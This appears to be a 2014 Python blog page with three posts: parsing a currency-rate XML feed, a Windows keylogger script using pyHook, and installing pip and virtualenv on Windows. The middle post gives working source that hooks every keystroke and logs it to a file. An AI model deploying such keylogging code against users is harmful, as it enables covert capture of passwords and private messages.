analitics

Pages

Friday, February 14, 2014

Parsing feeds - get by attribute and value - part 2

Most developers use REST services or other data feeds that move data using XML.
This is a simple script to read online the xml file.
I used minidom but you can also use etree with ElementTree or cElementTree from etree.
I don't know if the ElementTree or cElementTree are more faster like minidom.
The script use urllib2 to open the file.
The file will show us the currency from each country.
The main goal of this script is : how to deal with attribute and value from xml files.
You can also see first part of this issue.
The structure of the xml file has also some attributes - currency.
Basicaly is something like this :
<!--xml version="1.0" encoding="UTF-8"?-->
-<dataset xsi:schemaLocation="http://www.bnr.ro/xsd nbrfxrates.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.bnr.ro/xsd">
-<header>
<publisher>National Bank of Romania</Publisher>
<publishingdate>2014-02-14</PublishingDate>
<messagetype>DR</MessageType>
</Header>
-<body>
<subject>Reference rates</Subject>
<origcurrency>RON</OrigCurrency>
-<cube date="2014-02-14">
<rate currency="AED">0.8909</Rate>
<rate currency="AUD">2.9529</Rate>
<rate currency="BGN">2.2913</Rate>
...
Now let see the script :
from xml.dom import minidom as dom
import urllib2

def fetchPage(url):
    a = urllib2.urlopen(url)
    return ''.join(a.readlines())

def extract(page):
    a = dom.parseString(page)

    item = a.getElementsByTagName('Rate')

    for i in item:
        if i.hasChildNodes() == True:
                print i.getAttribute('currency')+"-"+ i.firstChild.nodeValue

if __name__=='__main__':
    page = fetchPage("http://www.bnro.ro/nbrfxrates.xml")
    extract(page)
and the output is this :
AED-0.8909
AUD-2.9529
BGN-2.2913
BRL-1.3665
CAD-2.9879
CHF-3.6655
CNY-0.5394
CZK-0.1636
DKK-0.6005
EGP-0.4701
EUR-4.4813
GBP-5.4630
HUF-1.4517
INR-0.0527
JPY-3.2148
KRW-0.3078
MDL-0.2434
MXN-0.2467
NOK-0.5365
NZD-2.7388
PLN-1.0786
RSD-0.0387
RUB-0.0932
SEK-0.5074
TRY-1.4950
UAH-0.3865
USD-3.2721
XAU-137.6798
XDR-5.0505
ZAR-0.2981

Monday, February 10, 2014

My first logger python script to record keys .

Few days ago I worked with one issue : keyboard logger .
My first dilemma was: to use assemblly language or something simple like python.
My option was python - simple and fast to test how to deal with this issue.
About logger : A keyboard Logger is intended to record the keystrokes that a user inputs on a computer keyboard in addition to other user actions.
I make simple script after I search about how to deal with this.
You can see my script is simple and can be use if you want to record Python Interactive Interpreter.
I don't finish it , some keys like : backspace or enter will be put into log file.
So if you deal very well with python don't use this keys...
Anyway if I want to finish this then I need to fix this ...
Let's see the python script:
try:
 import pythoncom, pyHook, sys, logging
except:
 sys.exit()

#specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}

specials = {9:'TAB',13:'ENTER', 27:'ESC'}
buffer = ''

def OnKeyboardEvent(event):
 try:
  logging.basicConfig(filename='C:\\aa\\log_output.txt',level=logging.DEBUG,format='%(message)s')
  global buffer
  
  if event.Ascii in range(32,127):
   print chr(event.Ascii)
   buffer += chr(event.Ascii)
  
  if event.Ascii in specials:
   print '<'+specials[event.Ascii]+'>'
   logging.log(10,buffer)
   buffer = ''
   logging.log(10,'<'+specials[event.Ascii]+'>')
   
  return True
 except:
  sys.exit()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Let's see the result of this :

The output log text file ...:
python 
<ENTER>
import os 
<ENTER>
import sys
<ENTER>


Sunday, February 2, 2014

Install python on windows 8.1 with distribute, pip, virtualenv and virtualenvwrapper-powershell .

Today I wand to show you something new. The goal is using python under Windows OS (Windows 8.1).

This tutorial will cover the instalation of Python 2.7 with distribute (0.7.3), pip (1.5.2), virtualenv (1.11.2) and virtualenvwrapper-powershell.

The default instalation folder I used is under C: drive

I used python 2.7.6.

It's a executable file ... just run it.

Now you have: C:\Python27\ folder with all files.

We need to using also the fork of the Setuptools project named distribute.

Download distribute zip file from python distribute 0.7.3.

Unarhive the file under C: drive and you will have C:\distribute-0.7.3 folder.

Go to distribute and let's install it.

C:\>cd distribute-0.7.3
C:\distribute-0.7.3>\Python27\python.exe setup.py --help
C:\distribute-0.7.3>\Python27\python.exe setup.py build
C:\distribute-0.7.3>\Python27\python.exe setup.py install

Also we need to install pip , see this pip webpage.

You need to get this python script from here.

Put this script into C:\Python27 folder and use this command to install pip.

C:\Python27>python.exe get-pip.py

Under site-packages you can see the pip and distribute ...

C:\Python27\Lib\site-packages>dir /w
 Volume in drive C has no label.
 Volume Serial Number is 9AE5-9AC9

 Directory of C:\Python27\Lib\site-packages

[.]
[..]
distribute-0.7.3-py2.7.egg
easy-install.pth
[pip]
[pip-1.5.2.dist-info]
README.txt
setuptools.pth
[virtualenv-1.11.2.dist-info]
virtualenv.py
virtualenv.pyc
[virtualenvwrapper_powershell-12.7.8-py2.7.egg-info]
[virtualenv_support]

Let's see if this python modules working ...

C:\Python27>python.exe
Python 2.7.6 (default, Nov 10 2013, 19:24:24) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import distutils
>>> import pip
>>>

Edit your environment variable by adding: ";C:\Python27\Scripts\" and ";C:\Python27\", see image below:

After that you can restart the command shell or your windows os.

I just restart the command shell and working well with the new environment vars...


Now we need to install virtualenv and virtualenvwrapper-powershell using pip:

C:\>pip install virtualenv
C:\>pip install virtualenvwrapper-powershell

The virtualenv kit provides the ability to create virtual Python environments that do not interfere with either each other, or the main Python installation.

And virtualenvwrapper-powershell it's a PowerShell clone of Doug Hellmann's virtualenvwrapper.

C:\Python27>pip list
distribute (0.7.3)
pip (1.5.2)
setuptools (0.8b2)
virtualenv (1.11.2)
virtualenvwrapper-powershell (12.7.8)

... and this is all for today.